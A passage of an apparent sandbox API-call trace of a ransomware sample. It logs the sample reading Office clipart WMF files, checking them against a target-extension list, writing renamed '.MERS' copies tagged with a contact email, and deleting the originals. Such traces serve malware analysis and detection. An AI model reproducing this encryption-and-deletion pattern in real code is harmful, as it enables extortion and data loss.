SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.643] SetEndOfFile (hFile=0x3c4) returned 1 [0273.645] CloseHandle (hObject=0x3c4) returned 1 [0273.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.646] lstrlenW (lpString=".doc") returned 4 [0273.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString=".docx") returned 5 [0273.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.646] lstrlenW (lpString=".pdf") returned 4 [0273.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString=".xls") returned 4 [0273.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.646] lstrlenW (lpString=".xlsx") returned 5 [0273.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.646] lstrlenW (lpString=".ppt") returned 4 [0273.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.646] lstrlenW (lpString=".zip") returned 4 [0273.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.646] lstrlenW (lpString=".rar") returned 4 [0273.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString=".bz2") returned 4 [0273.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString=".7z") returned 3 [0273.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.646] lstrlenW (lpString=".dbf") returned 4 [0273.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.646] lstrlenW (lpString=".1cd") returned 4 [0273.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".jpg") returned 4 [0273.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".doc") returned 4 [0273.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString=".docx") returned 5 [0273.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.647] lstrlenW (lpString=".pdf") returned 4 [0273.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString=".xls") returned 4 [0273.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.647] lstrlenW (lpString=".xlsx") returned 5 [0273.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.647] lstrlenW (lpString=".ppt") returned 4 [0273.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".zip") returned 4 [0273.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.647] lstrlenW (lpString=".rar") returned 4 [0273.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString=".bz2") returned 4 [0273.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString=".7z") returned 3 [0273.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".dbf") returned 4 [0273.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".1cd") returned 4 [0273.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0273.647] lstrlenW (lpString=".jpg") returned 4 [0273.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.648] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.648] lstrlenW (lpString="BS01639_.WMF") returned 12 [0273.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.648] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=4236) returned 1 [0273.648] CloseHandle (hObject=0x3c4) returned 1 [0273.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0273.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.649] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.649] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.649] GetLastError () returned 0x0 [0273.649] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x108c, lpOverlapped=0x0) returned 1 [0273.752] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1090, lpOverlapped=0x0) returned 1 [0273.754] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.754] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.754] SetEndOfFile (hFile=0x2d8) returned 1 [0273.754] CloseHandle (hObject=0x2d8) returned 1 [0273.754] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.754] SetEndOfFile (hFile=0x3c4) returned 1 [0273.757] CloseHandle (hObject=0x3c4) returned 1 [0273.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.758] lstrlenW (lpString=".doc") returned 4 [0273.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".docx") returned 5 [0273.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.758] lstrlenW (lpString=".pdf") returned 4 [0273.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".xls") returned 4 [0273.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.758] lstrlenW (lpString=".xlsx") returned 5 [0273.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.758] lstrlenW (lpString=".ppt") returned 4 [0273.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.758] lstrlenW (lpString=".zip") returned 4 [0273.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.758] lstrlenW (lpString=".rar") returned 4 [0273.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".bz2") returned 4 [0273.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".7z") returned 3 [0273.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.758] lstrlenW (lpString=".dbf") returned 4 [0273.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.759] lstrlenW (lpString=".1cd") returned 4 [0273.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.759] lstrlenW (lpString=".jpg") returned 4 [0273.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.759] lstrlenW (lpString=".doc") returned 4 [0273.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".docx") returned 5 [0273.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.759] lstrlenW (lpString=".pdf") returned 4 [0273.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".xls") returned 4 [0273.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.759] lstrlenW (lpString=".xlsx") returned 5 [0273.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.759] lstrlenW (lpString=".ppt") returned 4 [0273.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.759] lstrlenW (lpString=".zip") returned 4 [0273.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.759] lstrlenW (lpString=".rar") returned 4 [0273.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".bz2") returned 4 [0273.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".7z") returned 3 [0273.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.760] lstrlenW (lpString=".dbf") returned 4 [0273.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.760] lstrlenW (lpString=".1cd") returned 4 [0273.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0273.760] lstrlenW (lpString=".jpg") returned 4 [0273.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.760] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.760] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0273.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.760] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=2262) returned 1 [0273.760] CloseHandle (hObject=0x3c4) returned 1 [0273.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0273.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0273.761] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.761] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.761] GetLastError () returned 0x0 [0273.761] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0273.854] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0273.855] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.855] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.855] SetEndOfFile (hFile=0x2d8) returned 1 [0273.855] CloseHandle (hObject=0x2d8) returned 1 [0273.855] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.855] SetEndOfFile (hFile=0x3c4) returned 1 [0273.857] CloseHandle (hObject=0x3c4) returned 1 [0273.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0273.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.954] lstrlenW (lpString=".doc") returned 4 [0273.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString=".docx") returned 5 [0273.955] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.955] lstrlenW (lpString=".pdf") returned 4 [0273.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString=".xls") returned 4 [0273.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.955] lstrlenW (lpString=".xlsx") returned 5 [0273.955] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.955] lstrlenW (lpString=".ppt") returned 4 [0273.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString=".zip") returned 4 [0273.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.955] lstrlenW (lpString=".rar") returned 4 [0273.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString=".bz2") returned 4 [0273.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString=".7z") returned 3 [0273.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString=".dbf") returned 4 [0273.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString=".1cd") returned 4 [0273.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString=".jpg") returned 4 [0273.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.955] lstrlenW (lpString=".doc") returned 4 [0273.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.955] lstrlenW (lpString=".docx") returned 5 [0273.956] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.956] lstrlenW (lpString=".pdf") returned 4 [0273.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString=".xls") returned 4 [0273.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.956] lstrlenW (lpString=".xlsx") returned 5 [0273.956] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.956] lstrlenW (lpString=".ppt") returned 4 [0273.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.956] lstrlenW (lpString=".zip") returned 4 [0273.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.956] lstrlenW (lpString=".rar") returned 4 [0273.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString=".bz2") returned 4 [0273.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString=".7z") returned 3 [0273.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.956] lstrlenW (lpString=".dbf") returned 4 [0273.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.956] lstrlenW (lpString=".1cd") returned 4 [0273.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0273.956] lstrlenW (lpString=".jpg") returned 4 [0273.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.956] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.956] lstrlenW (lpString="CUP.WMF") returned 7 [0273.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0273.957] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=2966) returned 1 [0273.957] CloseHandle (hObject=0x2c4) returned 1 [0273.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0273.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0273.958] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.958] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0273.958] GetLastError () returned 0x0 [0273.958] ReadFile (in: hFile=0x2c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xb96, lpOverlapped=0x0) returned 1 [0274.066] WriteFile (in: hFile=0x2c8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0274.067] ReadFile (in: hFile=0x2c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.067] WriteFile (in: hFile=0x2c8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0274.067] SetEndOfFile (hFile=0x2c8) returned 1 [0274.067] CloseHandle (hObject=0x2c8) returned 1 [0274.067] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.067] SetEndOfFile (hFile=0x2c4) returned 1 [0274.069] CloseHandle (hObject=0x2c4) returned 1 [0274.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0274.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0274.069] lstrlenW (lpString="C:\\Program 